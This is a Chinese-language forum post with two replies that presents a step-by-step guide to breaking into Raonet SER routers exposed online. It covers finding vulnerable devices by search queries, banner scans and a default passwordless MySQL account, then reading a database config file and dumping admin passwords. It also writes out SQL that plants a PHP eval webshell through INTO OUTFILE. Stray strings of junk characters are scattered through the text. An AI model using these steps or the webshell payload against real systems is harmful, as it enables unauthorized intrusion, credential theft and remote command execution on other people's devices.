利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

4 U5 X( k4 ]/ q+ r$ O- A& `1：google搜索'Raonet Subscriber Ethernet Router'
7 n* _, t7 S4 W7 }
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
# u/ }: I" e6 s( |! D& U' s  V5 c
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

5 e1 T7 }6 u8 z+ N2 E9 l//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

# {$ Z, p+ q( ?5 n

入侵步骤：
, R0 j! |0 k  M, s) J' ~6 Y2 o/ c
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
# g; J3 o' C7 G/ R
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
0 D6 D# h& o- hselect id,passwd from user;
! z# _. m: _, T- Y4 R/ _4:通过数据库写入webshell，执行命令：
use mysql;
* N0 q% C3 }8 `2 J# T! ?create table ok(cmd TEXT);
/ p; `+ \2 e& ]insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
" O  Z$ G$ M1 |1 }* |: q) a. k2 l3 I6 f
5:连接后门shell.php

6. 搞定！

+ Z; P. J, k! i6 l6 u

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。